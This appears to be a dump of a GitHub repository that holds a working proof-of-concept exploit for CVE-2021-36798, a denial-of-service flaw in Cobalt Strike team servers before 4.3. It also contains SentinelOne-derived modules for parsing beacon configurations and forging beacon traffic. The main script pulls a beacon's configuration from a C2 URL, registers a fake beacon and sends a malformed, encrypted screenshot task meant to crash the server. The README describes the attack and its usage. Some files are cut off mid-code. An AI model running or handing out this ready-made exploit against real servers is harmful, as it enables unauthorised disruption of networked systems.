├── CVE-2021-36798.py ├── README.md ├── beacon_utils.py ├── comm.py └── parse_beacon_config.py /CVE-2021-36798.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | ''' 3 | By Gal Kristal from SentinelOne (gkristal.w@gmail.com) @gal_kristal 4 | Refs: 5 | https://github.com/RomanEmelyanov/CobaltStrikeForensic/blob/master/L8_get_beacon.py 6 | https://github.com/nccgroup/pybeacon 7 | ''' 8 | 9 | import requests, struct, sys, os, urllib3 10 | import argparse 11 | from parse_beacon_config import cobaltstrikeConfig 12 | from urllib.parse import urljoin 13 | from io import BytesIO 14 | from Crypto.Cipher import AES 15 | import hmac 16 | import urllib 17 | import socket 18 | import hexdump 19 | from comm import * 20 | 21 | HASH_ALGO = hashlib.sha256 22 | SIG_SIZE = HASH_ALGO().digest_size 23 | CS_FIXED_IV = b"abcdefghijklmnop" 24 | 25 | EMPTY_UA_HEADERS = {"User-Agent":""} 26 | URL_PATHS = {'x86':'ab2g', 'x64':'ab2h'} 27 | 28 | def get_beacon_data(url, arch): 29 | full_url = urljoin(url, URL_PATHS[arch]) 30 | try: 31 | resp = requests.get(full_url, timeout=30, headers=EMPTY_UA_HEADERS, verify=False) 32 | except requests.exceptions.RequestException as e: 33 | print('[-] Connection error: ', e) 34 | return 35 | 36 | if resp.status_code != 200: 37 | print('[-] Failed with HTTP status code: ', resp.status_code) 38 | return 39 | 40 | buf = resp.content 41 | 42 | # Check if it's a Trial beacon, therefore not xor encoded (not tested) 43 | eicar_offset = buf.find(b'EICAR-STANDARD-ANTIVIRUS-TEST-FILE') 44 | if eicar_offset != -1: 45 | return cobaltstrikeConfig(BytesIO(buf)).parse_config() 46 | 47 | offset = buf.find(b'\xff\xff\xff') 48 | if offset == -1: 49 | print('[-] Unexpected buffer received') 50 | return 51 | offset += 3 52 | key = struct.unpack_from('II', 1, len(random_data)) + random_data 123 | pad_size = AES.block_size - len(data) % AES.block_size 124 | data = data + pad_size * b'\x00' 125 | 126 | print("---------------") 127 | print(data) 128 | print("---------------") 129 | 130 | # encrypt the task data and wrap with hmac sig and encrypted data length 131 | cipher = AES.new(m.aes_key, AES.MODE_CBC, CS_FIXED_IV) 132 | enc_data = cipher.encrypt(data) 133 | sig = hmac.new(m.hmac_key, enc_data, HASH_ALGO).digest()[0:16] 134 | enc_data += sig 135 | enc_data = struct.pack('>I', len(enc_data)) + enc_data 136 | 137 | # task data is POSTed so we need to take the transformation steps of http-post.client 138 | t = Transform(conf['HttpPost_Metadata']) 139 | body, headers, params = t.encode(m.pack().decode('latin-1'), enc_data.decode('latin-1'), str(m.bid)) 140 | 141 | print('[+] Sending task data') 142 | 143 | try: 144 | req = requests.request('POST', urljoin('http://'+conf['C2Server'].split(',')[0]+":"+str(conf['Port']), conf['HttpPostUri'].split(',')[0]), params=params, data=body, headers=dict(**headers, **{'User-Agent':''}), timeout=5) 145 | except Exception as e: 146 | print('[-] Got excpetion from server while sending task: %s' % e) 147 | 148 | Task_type=int.to_bytes(3, length=4, byteorder='big', signed=False) 149 | #print (Task_type) 150 | data_size=int.to_bytes(4275658244,length=4, byteorder='big', signed=False) 151 | #print (data_size) 152 | im_data = int.to_bytes(9999999999999999999999999999999,length=1024,byteorder='big', signed=False) 153 | screenshost = Task_type + data_size + im_data 154 | data = struct.pack('>II', 3, len(screenshost)) + screenshost 155 | pad_size = AES.block_size - len(data) % AES.block_size 156 | data = data + pad_size * b'\x00' 157 | 158 | cipher = AES.new(m.aes_key, AES.MODE_CBC, CS_FIXED_IV) 159 | enc_data = cipher.encrypt(data) 160 | sig = hmac.new(m.hmac_key, enc_data, HASH_ALGO).digest()[0:16] 161 | enc_data += sig 162 | enc_data = struct.pack('>I', len(enc_data)) + enc_data 163 | 164 | t = Transform(conf['HttpPost_Metadata']) 165 | body, headers, params = t.encode(m.pack().decode('latin-1'), enc_data.decode('latin-1'), str(m.bid)) 166 | 167 | print('[+] Sending task data') 168 | 169 | try: 170 | req = requests.request('POST', urljoin('http://'+conf['C2Server'].split(',')[0]+":"+str(conf['Port']), conf['HttpPostUri'].split(',')[0]), params=params, data=body, headers=dict(**headers, **{'User-Agent':''}), timeout=5) 171 | except Exception as e: 172 | print('[-] Got excpetion from server while sending task: %s' % e) 173 | 174 | 175 | if __name__ == '__main__': 176 | parser = argparse.ArgumentParser(description="Parse CobaltStrike Beacon's configuration from C2 url and registers a beacon with it") 177 | parser.add_argument("url", help="Cobalt C2 server (e.g. http://1.1.1.1)") 178 | args = parser.parse_args() 179 | 180 | x86_beacon_conf = get_beacon_data(args.url, 'x86') 181 | x64_beacon_conf = get_beacon_data(args.url, 'x64') 182 | if not x86_beacon_conf and not x64_beacon_conf: 183 | print("[-] Failed finding any beacon configuration") 184 | exit(1) 185 | 186 | print("[+] Got beacon configuration successfully") 187 | conf = x86_beacon_conf or x64_beacon_conf 188 | print("---------------") 189 | print(conf) 190 | print("---------------") 191 | register_beacon(conf) 192 | #while 1: 193 | # register_beacon(conf) 194 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-36798 2 | 3 | 4 | 5 | CVE-2021-36798 Cobalt Strike < 4.3 dos 6 | 7 | 用法 8 | 9 | ``` 10 | python3 CVE-2021-36798.py BeaconURL 11 | ``` 12 | 13 | 打瘫Cobalt Strike 只需要一个包 14 | 15 | 16 | 17 | 已测试 4.3 4.2 18 | 19 | 参考: 20 | 21 | https://labs.sentinelone.com/hotcobalt-new-cobalt-strike-dos-vulnerability-that-lets-you-halt-operations/ 22 | 23 | https://github.com/Sentinel-One/CobaltStrikeParser -------------------------------------------------------------------------------- /beacon_utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | ''' 3 | By Gal Kristal from SentinelOne (gkristal.w@gmail.com) @gal_kristal 4 | Refs: 5 | https://github.com/RomanEmelyanov/CobaltStrikeForensic/blob/master/L8_get_beacon.py 6 | https://github.com/nccgroup/pybeacon 7 | ''' 8 | 9 | import requests, struct, urllib3 10 | import argparse 11 | from urllib.parse import urljoin 12 | import socket 13 | import json 14 | from base64 import b64encode 15 | from struct import unpack, unpack_from 16 | 17 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 18 | EMPTY_UA_HEADERS = {"User-Agent":""} 19 | URL_PATHS = {'x86':'ab2g', 'x64':'ab2h'} 20 | 21 | class Base64Encoder(json.JSONEncoder): 22 | def default(self, o): 23 | if isinstance(o, bytes): 24 | return b64encode(o).decode() 25 | return json.JSONEncoder.default(self, o) 26 | 27 | 28 | def _cli_print(msg, end='\n'): 29 | if __name__ == '__main__': 30 | print(msg, end=end) 31 | 32 | 33 | def read_dword_be(fh): 34 | data = fh.read(4) 35 | if not data or len(data) != 4: 36 | return None 37 | return unpack(">I",data)[0] 38 | 39 | 40 | def get_beacon_data(url, arch): 41 | full_url = urljoin(url, URL_PATHS[arch]) 42 | try: 43 | resp = requests.get(full_url, timeout=30, headers=EMPTY_UA_HEADERS, verify=False) 44 | except requests.exceptions.RequestException as e: 45 | _cli_print('[-] Connection error: ', e) 46 | return 47 | 48 | if resp.status_code != 200: 49 | _cli_print('[-] Failed with HTTP status code: ', resp.status_code) 50 | return 51 | 52 | buf = resp.content 53 | 54 | # Check if it's a Trial beacon, therefore not xor encoded (not tested) 55 | eicar_offset = buf.find(b'EICAR-STANDARD-ANTIVIRUS-TEST-FILE') 56 | if eicar_offset != -1: 57 | return buf 58 | return decrypt_beacon(buf) 59 | 60 | 61 | def decrypt_beacon(buf): 62 | offset = buf.find(b'\xff\xff\xff') 63 | if offset == -1: 64 | _cli_print('[-] Unexpected buffer received') 65 | return 66 | offset += 3 67 | key = struct.unpack_from('I', len(data)) + data 66 | return pubkey.public_encrypt(packed_data, M2Crypto.RSA.pkcs1_padding) 67 | 68 | 69 | def pack(self): 70 | data = self.aes_source_bytes + struct.pack('>hhIIHBH', self.charset, self.charset, self.bid, self.pid, self.port, self.is64, self.ver) + self.junk 71 | data += struct.pack('4s', self.ip) 72 | data += b'\x00' * (51 - len(data)) 73 | data += '\t'.join([self.comp, self.user]).encode() 74 | return self.rsa_encrypt(data) 75 | 76 | 77 | TERMINATION_STEPS = ['header', 'parameter', 'print'] 78 | TSTEPS = {1: "append", 2: "prepend", 3: "base64", 4: "print", 5: "parameter", 6: "header", 7: "build", 8: "netbios", 9: "const_parameter", 10: "const_header", 11: "netbiosu", 12: "uri_append", 13: "base64url", 14: "strrep", 15: "mask", 16: "const_host_header"} 79 | 80 | # Could probably just be b'\x00'*4 + data 81 | def mask(arg, data): 82 | key = os.urandom(4) 83 | data = data.encode('latin-1') 84 | return key.decode('latin-1') + ''.join(chr(c ^ key[i%4]) for i, c in enumerate(data)) 85 | 86 | def demask(arg, data): 87 | key = data[:4].encode('latin-1') 88 | data = data.encode('latin-1') 89 | return ''.join(chr(c ^ key[i%4]) for i, c in enumerate(data[4:])) 90 | 91 | def netbios_decode(name, case): 92 | i = iter(name.upper()) 93 | try: 94 | return ''.join([chr(((ord(c)-ord(case))<<4)+((ord(next(i))-ord(case))&0xF)) for c in i]) 95 | except: 96 | return '' 97 | 98 | func_dict_encode = {"append": lambda arg, data: data + arg, 99 | "prepend": lambda arg, data: arg + data, 100 | "base64": lambda arg, data: base64.b64encode(data), 101 | "netbios": lambda arg, data: ''.join([chr((ord(c)>>4) + ord('a')) + chr((ord(c)&0xF) + ord('a')) for c in data]), 102 | "netbiosu": lambda arg, data: ''.join([chr((ord(c)>>4) + ord('A')) + chr((ord(c)&0xF) + ord('A')) for c in data]), 103 | "base64": lambda arg, data: base64.b64encode(data.encode('latin-1')).decode('latin-1'), 104 | "base64url": lambda arg, data: base64.urlsafe_b64encode(data.encode('latin-1')).decode('latin-1').strip('='), 105 | "mask": mask, 106 | } 107 | 108 | func_dict_decode = {"append": lambda arg, data: data[:-len(arg)], 109 | "prepend": lambda arg, data: data[len(arg):], 110 | "base64": lambda arg, data: base64.b64decode(data), 111 | "netbios": lambda arg, data: netbios_decode(data, 'a'), 112 | "netbiosu": lambda arg, data: netbios_decode(data, 'A'), 113 | "base64": lambda arg, data: base64.b64decode(data.encode('latin-1')).decode('latin-1'), 114 | "base64url": lambda arg, data: base64.urlsafe_b64decode(data.encode('latin-1')).decode('latin-1').strip('='), 115 | "mask": demask, 116 | } 117 | 118 | 119 | class Transform(object): 120 | def __init__(self, trans_dict): 121 | """An helper class to tranform data according to cobalt's malleable profile 122 | 123 | Args: 124 | trans_dict (dict): A dictionary that came from packedSetting data. It's in the form of: 125 | {'ConstHeaders':[], 'ConstParams': [], 'Metadata': [], 'SessionId': [], 'Output': []} 126 | """ 127 | self.trans_dict = trans_dict 128 | 129 | def encode(self, metadata, output, sessionId): 130 | """ 131 | 132 | Args: 133 | metadata (str): The metadata of a Beacon, usually given from Metadata.pack() 134 | output (str): If this is for a Beacon's response, then this is the response's data 135 | sessionId (str): the Beacon's ID 136 | 137 | Returns: 138 | (str, dict, dict): This is to be used in an HTTP request. The tuple is (request_body, request_headers, request_params) 139 | """ 140 | params = {} 141 | headers = {} 142 | body = '' 143 | for step in self.trans_dict['Metadata']: 144 | action = step.split(' ')[0].lower() 145 | arg = step.lstrip(action).strip().strip('"') 146 | if action in TERMINATION_STEPS: 147 | if action == "header": 148 | headers[arg] = metadata 149 | elif action == "parameter": 150 | params[arg] = metadata 151 | elif action == "print": 152 | body = metadata 153 | else: 154 | metadata = func_dict_encode[action](arg, metadata) 155 | 156 | for step in self.trans_dict['Output']: 157 | action = step.split(' ')[0].lower() 158 | arg = step.lstrip(action).strip().strip('"') 159 | if action in TERMINATION_STEPS: 160 | if action == "header": 161 | headers[arg] = output 162 | elif action == "parameter": 163 | params[arg] = output 164 | elif action == "print": 165 | body = output 166 | else: 167 | output = func_dict_encode[action](arg, output) 168 | 169 | for step in self.trans_dict['SessionId']: 170 | action = step.split(' ')[0].lower() 171 | arg = step.lstrip(action).strip().strip('"') 172 | if action in TERMINATION_STEPS: 173 | if action == "header": 174 | headers[arg] = sessionId 175 | elif action == "parameter": 176 | params[arg] = sessionId 177 | elif action == "print": 178 | body = sessionId 179 | else: 180 | sessionId = func_dict_encode[action](arg, sessionId) 181 | 182 | for step in self.trans_dict['ConstHeaders']: 183 | offset = step.find(': ') 184 | header, value = step[:offset], step[offset+2:] 185 | headers[header] = value 186 | 187 | for step in self.trans_dict['ConstParams']: 188 | offset = step.find('=') 189 | param, value = step[:offset], step[offset+1:] 190 | params[param] = value 191 | 192 | return body, headers, params 193 | 194 | def decode(self, body, headers, params): 195 | """ 196 | Parses beacon's communication data from an HTTP request 197 | Args: 198 | body (str): The body of an HTTP request 199 | headers (dict): Headers dict from the HTTP request 200 | params (dict): Params dict from the HTTP request 201 | 202 | Returns: 203 | (str, str, str): The tuple is (metadata, output, sessionId) 204 | """ 205 | metadata = '' 206 | output = '' 207 | sessionId = '' 208 | for step in self.trans_dict['Metadata'][::-1]: 209 | action = step.split(' ')[0].lower() 210 | arg = step.lstrip(action).strip().strip('"') 211 | if action in TERMINATION_STEPS: 212 | if action == "header": 213 | metadata = headers[arg] 214 | elif action == "parameter": 215 | metadata = params[arg] 216 | elif action == "print": 217 | metadata = body 218 | else: 219 | metadata = func_dict_decode[action](arg, metadata) 220 | 221 | for step in self.trans_dict['Output'][::-1]: 222 | action = step.split(' ')[0].lower() 223 | arg = step.lstrip(action).strip().strip('"') 224 | if action in TERMINATION_STEPS: 225 | if action == "header": 226 | output = headers[arg] 227 | elif action == "parameter": 228 | output = params[arg] 229 | elif action == "print": 230 | output = body 231 | else: 232 | output = func_dict_decode[action](arg, output) 233 | 234 | for step in self.trans_dict['SessionId'][::-1]: 235 | action = step.split(' ')[0].lower() 236 | arg = step.lstrip(action).strip().strip('"') 237 | if action in TERMINATION_STEPS: 238 | if action == "header": 239 | sessionId = headers[arg] 240 | elif action == "parameter": 241 | sessionId = params[arg] 242 | elif action == "print": 243 | sessionId = body 244 | else: 245 | sessionId = func_dict_decode[action](arg, sessionId) 246 | 247 | return metadata, output, sessionId -------------------------------------------------------------------------------- /parse_beacon_config.py: -------------------------------------------------------------------------------- 1 | 2 | #!/usr/bin/python3 3 | ''' 4 | Parses CobaltStrike Beacon's configuration from PE file or memory dump. 5 | By Gal Kristal from SentinelOne (gkristal.w@gmail.com) @gal_kristal 6 | Inspired by https://github.com/JPCERTCC/aa-tools/blob/master/cobaltstrikescan.py 7 | TODO: 8 | 1. Parse headers modifiers 9 | 2. Dynamic size parsing 10 | ''' 11 | 12 | from beacon_utils import * 13 | from struct import unpack, unpack_from 14 | from socket import inet_ntoa 15 | from collections import OrderedDict 16 | from netstruct import unpack as netunpack 17 | import argparse 18 | import io 19 | import re 20 | import pefile 21 | import os 22 | import hashlib 23 | from io import BytesIO 24 | 25 | THRESHOLD = 1100 26 | COLUMN_WIDTH = 35 27 | SUPPORTED_VERSIONS = (3, 4) 28 | SILENT_CONFIGS = ['PublicKey', 'ProcInject_Stub', 'smbFrameHeader', 'tcpFrameHeader', 'SpawnTo'] 29 | 30 | def _cli_print(msg, end='\n'): 31 | if __name__ == '__main__': 32 | print(msg, end=end) 33 | 34 | class confConsts: 35 | MAX_SETTINGS = 64 36 | TYPE_NONE = 0 37 | TYPE_SHORT = 1 38 | TYPE_INT = 2 39 | TYPE_STR = 3 40 | 41 | START_PATTERNS = { 42 | 3: b'\x69\x68\x69\x68\x69\x6b..\x69\x6b\x69\x68\x69\x6b..\x69\x6a', 43 | 4: b'\x2e\x2f\x2e\x2f\x2e\x2c..\x2e\x2c\x2e\x2f\x2e\x2c..\x2e' 44 | } 45 | START_PATTERN_DECODED = b'\x00\x01\x00\x01\x00\x02..\x00\x02\x00\x01\x00\x02..\x00' 46 | CONFIG_SIZE = 4096 47 | XORBYTES = { 48 | 3: 0x69, 49 | 4: 0x2e 50 | } 51 | 52 | class packedSetting: 53 | 54 | def __init__(self, pos, datatype, length=0, isBlob=False, isHeaders=False, isIpAddress=False, isBool=False, isDate=False, boolFalseValue=0, isProcInjectTransform=False, isMalleableStream=False, hashBlob=False, enum=None, mask=None): 55 | self.pos = pos 56 | self.datatype = datatype 57 | self.is_blob = isBlob 58 | self.is_headers = isHeaders 59 | self.is_ipaddress = isIpAddress 60 | self.is_bool = isBool 61 | self.is_date = isDate 62 | self.is_malleable_stream = isMalleableStream 63 | self.bool_false_value = boolFalseValue 64 | self.is_transform = isProcInjectTransform 65 | self.hashBlob = hashBlob 66 | self.enum = enum 67 | self.mask = mask 68 | self.transform_get = None 69 | self.transform_post = None 70 | if datatype == confConsts.TYPE_STR and length == 0: 71 | raise(Exception("if datatype is TYPE_STR then length must not be 0")) 72 | 73 | self.length = length 74 | if datatype == confConsts.TYPE_SHORT: 75 | self.length = 2 76 | elif datatype == confConsts.TYPE_INT: 77 | self.length = 4 78 | 79 | 80 | def binary_repr(self): 81 | """ 82 | Param number - Type - Length - Value 83 | """ 84 | self_repr = bytearray(6) 85 | self_repr[1] = self.pos 86 | self_repr[3] = self.datatype 87 | self_repr[4:6] = self.length.to_bytes(2, 'big') 88 | return self_repr 89 | 90 | def parse_transformdata(self, data): 91 | ''' 92 | Args: 93 | data (bytes): Raw communication transforam data 94 | 95 | Returns: 96 | dict: Dict of transform commands that should be convenient for communication forging 97 | 98 | ''' 99 | dio = io.BytesIO(data) 100 | trans = {'ConstHeaders':[], 'ConstParams': [], 'Metadata': [], 'SessionId': [], 'Output': []} 101 | current_category = 'Constants' 102 | 103 | # TODO: replace all magic numbers here with enum 104 | while True: 105 | tstep = read_dword_be(dio) 106 | if tstep == 7: 107 | name = read_dword_be(dio) 108 | if self.pos == 12: # GET 109 | current_category = 'Metadata' 110 | else: # POST 111 | current_category = 'SessionId' if name == 0 else 'Output' 112 | elif tstep in (1, 2, 5, 6): 113 | length = read_dword_be(dio) 114 | step_data = dio.read(length).decode() 115 | trans[current_category].append(BeaconSettings.TSTEPS[tstep] + ' "' + step_data + '"') 116 | elif tstep in (10, 16, 9): 117 | length = read_dword_be(dio) 118 | step_data = dio.read(length).decode() 119 | if tstep == 9: 120 | trans['ConstParams'].append(step_data) 121 | else: 122 | trans['ConstHeaders'].append(step_data) 123 | elif tstep in (3, 4, 13, 8, 11, 12, 15): 124 | trans[current_category].append(BeaconSettings.TSTEPS[tstep]) 125 | else: 126 | break 127 | 128 | if self.pos == 12: 129 | self.transform_get = trans 130 | else: 131 | self.transform_post = trans 132 | 133 | return trans 134 | 135 | 136 | def pretty_repr(self, full_config_data): 137 | data_offset = full_config_data.find(self.binary_repr()) 138 | if data_offset < 0 and self.datatype == confConsts.TYPE_STR: 139 | self.length = 16 140 | while self.length < 2048: 141 | data_offset = full_config_data.find(self.binary_repr()) 142 | if data_offset > 0: 143 | break 144 | self.length *= 2 145 | 146 | if data_offset < 0: 147 | return 'Not Found' 148 | 149 | repr_len = len(self.binary_repr()) 150 | conf_data = full_config_data[data_offset + repr_len : data_offset + repr_len + self.length] 151 | if self.datatype == confConsts.TYPE_SHORT: 152 | conf_data = unpack('>H', conf_data)[0] 153 | if self.is_bool: 154 | ret = 'False' if conf_data == self.bool_false_value else 'True' 155 | return ret 156 | elif self.enum: 157 | return self.enum[conf_data] 158 | elif self.mask: 159 | ret_arr = [] 160 | for k,v in self.mask.items(): 161 | if k == 0 and k == conf_data: 162 | ret_arr.append(v) 163 | if k & conf_data: 164 | ret_arr.append(v) 165 | return ret_arr 166 | else: 167 | return conf_data 168 | 169 | elif self.datatype == confConsts.TYPE_INT: 170 | if self.is_ipaddress: 171 | return inet_ntoa(conf_data) 172 | 173 | else: 174 | conf_data = unpack('>i', conf_data)[0] 175 | if self.is_date and conf_data != 0: 176 | fulldate = str(conf_data) 177 | return "%s-%s-%s" % (fulldate[0:4], fulldate[4:6], fulldate[6:]) 178 | 179 | return conf_data 180 | 181 | if self.is_blob: 182 | if self.enum != None: 183 | ret_arr = [] 184 | i = 0 185 | while i < len(conf_data): 186 | v = conf_data[i] 187 | if v == 0: 188 | return ret_arr 189 | v = self.enum[v] 190 | if v: 191 | ret_arr.append(v) 192 | i+=1 193 | 194 | # Only EXECUTE_TYPE for now 195 | else: 196 | # Skipping unknown short value in the start 197 | string1 = netunpack(b'I$', conf_data[i+3:])[0].decode() 198 | string2 = netunpack(b'I$', conf_data[i+3+4+len(string1):])[0].decode() 199 | ret_arr.append("%s:%s" % (string1.strip('\x00'),string2.strip('\x00'))) 200 | i += len(string1) + len(string2) + 11 201 | 202 | 203 | if self.is_transform: 204 | if conf_data == bytes(len(conf_data)): 205 | return 'Empty' 206 | 207 | ret_arr = [] 208 | prepend_length = unpack('>I', conf_data[0:4])[0] 209 | prepend = conf_data[4 : 4+prepend_length] 210 | append_length_offset = prepend_length + 4 211 | append_length = unpack('>I', conf_data[append_length_offset : append_length_offset+4])[0] 212 | append = conf_data[append_length_offset+4 : append_length_offset+4+append_length] 213 | ret_arr.append(prepend) 214 | ret_arr.append(append if append_length < 256 and append != bytes(append_length) else 'Empty') 215 | return ret_arr 216 | 217 | if self.is_malleable_stream: 218 | prog = [] 219 | fh = io.BytesIO(conf_data) 220 | while True: 221 | op = read_dword_be(fh) 222 | if not op: 223 | break 224 | if op == 1: 225 | l = read_dword_be(fh) 226 | prog.append("Remove %d bytes from the end" % l) 227 | elif op == 2: 228 | l = read_dword_be(fh) 229 | prog.append("Remove %d bytes from the beginning" % l) 230 | elif op == 3: 231 | prog.append("Base64 decode") 232 | elif op == 8: 233 | prog.append("NetBIOS decode 'a'") 234 | elif op == 11: 235 | prog.append("NetBIOS decode 'A'") 236 | elif op == 13: 237 | prog.append("Base64 URL-safe decode") 238 | elif op == 15: 239 | prog.append("XOR mask w/ random key") 240 | 241 | conf_data = prog 242 | if self.hashBlob: 243 | conf_data = conf_data.strip(b'\x00') 244 | conf_data = hashlib.md5(conf_data).hexdigest() 245 | 246 | return conf_data 247 | 248 | if self.is_headers: 249 | return self.parse_transformdata(conf_data) 250 | 251 | conf_data = conf_data.strip(b'\x00').decode() 252 | return conf_data 253 | 254 | 255 | class BeaconSettings: 256 | 257 | BEACON_TYPE = {0x0: "HTTP", 0x1: "Hybrid HTTP DNS", 0x2: "SMB", 0x4: "TCP", 0x8: "HTTPS", 0x10: "Bind TCP"} 258 | ACCESS_TYPE = {0x1: "Use direct connection", 0x2: "Use IE settings", 0x4: "Use proxy server"} 259 | EXECUTE_TYPE = {0x1: "CreateThread", 0x2: "SetThreadContext", 0x3: "CreateRemoteThread", 0x4: "RtlCreateUserThread", 0x5: "NtQueueApcThread", 0x6: None, 0x7: None, 0x8: "NtQueueApcThread-s"} 260 | ALLOCATION_FUNCTIONS = {0: "VirtualAllocEx", 1: "NtMapViewOfSection"} 261 | TSTEPS = {1: "append", 2: "prepend", 3: "base64", 4: "print", 5: "parameter", 6: "header", 7: "build", 8: "netbios", 9: "const_parameter", 10: "const_header", 11: "netbiosu", 12: "uri_append", 13: "base64url", 14: "strrep", 15: "mask", 16: "const_host_header"} 262 | ROTATE_STRATEGY = ["round-robin", "random", "failover", "failover-5x", "failover-50x", "failover-100x", "failover-1m", "failover-5m", "failover-15m", "failover-30m", "failover-1h", "failover-3h", "failover-6h", "failover-12h", "failover-1d", "rotate-1m", "rotate-5m", "rotate-15m", "rotate-30m", "rotate-1h", "rotate-3h", "rotate-6h", "rotate-12h", "rotate-1d" ] 263 | 264 | def __init__(self, version): 265 | if version not in SUPPORTED_VERSIONS: 266 | _cli_print("Error: Only supports version 3 and 4, not %d" % version) 267 | return 268 | self.version = version 269 | self.settings = OrderedDict() 270 | self.init() 271 | 272 | def init(self): 273 | self.settings['BeaconType'] = packedSetting(1, confConsts.TYPE_SHORT, mask=self.BEACON_TYPE) 274 | self.settings['Port'] = packedSetting(2, confConsts.TYPE_SHORT) 275 | self.settings['SleepTime'] = packedSetting(3, confConsts.TYPE_INT) 276 | self.settings['MaxGetSize'] = packedSetting(4, confConsts.TYPE_INT) 277 | self.settings['Jitter'] = packedSetting(5, confConsts.TYPE_SHORT) 278 | self.settings['MaxDNS'] = packedSetting(6, confConsts.TYPE_SHORT) 279 | # Silenced config 280 | self.settings['PublicKey'] = packedSetting(7, confConsts.TYPE_STR, 256, isBlob=True) 281 | self.settings['PublicKey_MD5'] = packedSetting(7, confConsts.TYPE_STR, 256, isBlob=True, hashBlob=True) 282 | self.settings['C2Server'] = packedSetting(8, confConsts.TYPE_STR, 256) 283 | self.settings['UserAgent'] = packedSetting(9, confConsts.TYPE_STR, 128) 284 | # TODO: Concat with C2Server? 285 | self.settings['HttpPostUri'] = packedSetting(10, confConsts.TYPE_STR, 64) 286 | 287 | # This is how the server transforms its communication to the beacon 288 | # ref: https://www.cobaltstrike.com/help-malleable-c2 | https://usualsuspect.re/article/cobalt-strikes-malleable-c2-under-the-hood 289 | # TODO: Switch to isHeaders parser logic 290 | self.settings['Malleable_C2_Instructions'] = packedSetting(11, confConsts.TYPE_STR, 256, isBlob=True,isMalleableStream=True) 291 | # This is the way the beacon transforms its communication to the server 292 | # TODO: Change name to HttpGet_Client and HttpPost_Client 293 | self.settings['HttpGet_Metadata'] = packedSetting(12, confConsts.TYPE_STR, 256, isHeaders=True) 294 | self.settings['HttpPost_Metadata'] = packedSetting(13, confConsts.TYPE_STR, 256, isHeaders=True) 295 | 296 | self.settings['SpawnTo'] = packedSetting(14, confConsts.TYPE_STR, 16, isBlob=True) 297 | self.settings['PipeName'] = packedSetting(15, confConsts.TYPE_STR, 128) 298 | # Options 16-18 are deprecated in 3.4 299 | self.settings['DNS_Idle'] = packedSetting(19, confConsts.TYPE_INT, isIpAddress=True) 300 | self.settings['DNS_Sleep'] = packedSetting(20, confConsts.TYPE_INT) 301 | # Options 21-25 are for SSHAgent 302 | self.settings['SSH_Host'] = packedSetting(21, confConsts.TYPE_STR, 256) 303 | self.settings['SSH_Port'] = packedSetting(22, confConsts.TYPE_SHORT) 304 | self.settings['SSH_Username'] = packedSetting(23, confConsts.TYPE_STR, 128) 305 | self.settings['SSH_Password_Plaintext'] = packedSetting(24, confConsts.TYPE_STR, 128) 306 | self.settings['SSH_Password_Pubkey'] = packedSetting(25, confConsts.TYPE_STR, 6144) 307 | self.settings['SSH_Banner'] = packedSetting(54, confConsts.TYPE_STR, 128) 308 | 309 | self.settings['HttpGet_Verb'] = packedSetting(26, confConsts.TYPE_STR, 16) 310 | self.settings['HttpPost_Verb'] = packedSetting(27, confConsts.TYPE_STR, 16) 311 | self.settings['HttpPostChunk'] = packedSetting(28, confConsts.TYPE_INT) 312 | self.settings['Spawnto_x86'] = packedSetting(29, confConsts.TYPE_STR, 64) 313 | self.settings['Spawnto_x64'] = packedSetting(30, confConsts.TYPE_STR, 64) 314 | # Whether the beacon encrypts his communication, should be always on (1) in beacon 4 315 | self.settings['CryptoScheme'] = packedSetting(31, confConsts.TYPE_SHORT) 316 | self.settings['Proxy_Config'] = packedSetting(32, confConsts.TYPE_STR, 128) 317 | self.settings['Proxy_User'] = packedSetting(33, confConsts.TYPE_STR, 64) 318 | self.settings['Proxy_Password'] = packedSetting(34, confConsts.TYPE_STR, 64) 319 | self.settings['Proxy_Behavior'] = packedSetting(35, confConsts.TYPE_SHORT, enum=self.ACCESS_TYPE) 320 | # Option 36 is deprecated 321 | self.settings['Watermark'] = packedSetting(37, confConsts.TYPE_INT) 322 | self.settings['bStageCleanup'] = packedSetting(38, confConsts.TYPE_SHORT, isBool=True) 323 | self.settings['bCFGCaution'] = packedSetting(39, confConsts.TYPE_SHORT, isBool=True) 324 | self.settings['KillDate'] = packedSetting(40, confConsts.TYPE_INT, isDate=True) 325 | # Inner parameter, does not seem interesting so silencing 326 | #self.settings['textSectionEnd (0 if !sleep_mask)'] = packedSetting(41, confConsts.TYPE_INT) 327 | 328 | #TODO: dynamic size parsing 329 | #self.settings['ObfuscateSectionsInfo'] = packedSetting(42, confConsts.TYPE_STR, %d, isBlob=True) 330 | self.settings['bProcInject_StartRWX'] = packedSetting(43, confConsts.TYPE_SHORT, isBool=True, boolFalseValue=4) 331 | self.settings['bProcInject_UseRWX'] = packedSetting(44, confConsts.TYPE_SHORT, isBool=True, boolFalseValue=32) 332 | self.settings['bProcInject_MinAllocSize'] = packedSetting(45, confConsts.TYPE_INT) 333 | self.settings['ProcInject_PrependAppend_x86'] = packedSetting(46, confConsts.TYPE_STR, 256, isBlob=True, isProcInjectTransform=True) 334 | self.settings['ProcInject_PrependAppend_x64'] = packedSetting(47, confConsts.TYPE_STR, 256, isBlob=True, isProcInjectTransform=True) 335 | self.settings['ProcInject_Execute'] = packedSetting(51, confConsts.TYPE_STR, 128, isBlob=True, enum=self.EXECUTE_TYPE) 336 | # If True then allocation is using NtMapViewOfSection 337 | self.settings['ProcInject_AllocationMethod'] = packedSetting(52, confConsts.TYPE_SHORT, enum=self.ALLOCATION_FUNCTIONS) 338 | 339 | # Unknown data, silenced for now 340 | self.settings['ProcInject_Stub'] = packedSetting(53, confConsts.TYPE_STR, 16, isBlob=True) 341 | self.settings['bUsesCookies'] = packedSetting(50, confConsts.TYPE_SHORT, isBool=True) 342 | self.settings['HostHeader'] = packedSetting(54, confConsts.TYPE_STR, 128) 343 | 344 | # Silenced as I've yet to test it on a sample with those options 345 | self.settings['smbFrameHeader'] = packedSetting(57, confConsts.TYPE_STR, 128, isBlob=True) 346 | self.settings['tcpFrameHeader'] = packedSetting(58, confConsts.TYPE_STR, 128, isBlob=True) 347 | self.settings['headersToRemove'] = packedSetting(59, confConsts.TYPE_STR, 64) 348 | 349 | # DNS Beacon 350 | self.settings['DNS_Beaconing'] = packedSetting(60, confConsts.TYPE_STR, 33) 351 | self.settings['DNS_get_TypeA'] = packedSetting(61, confConsts.TYPE_STR, 33) 352 | 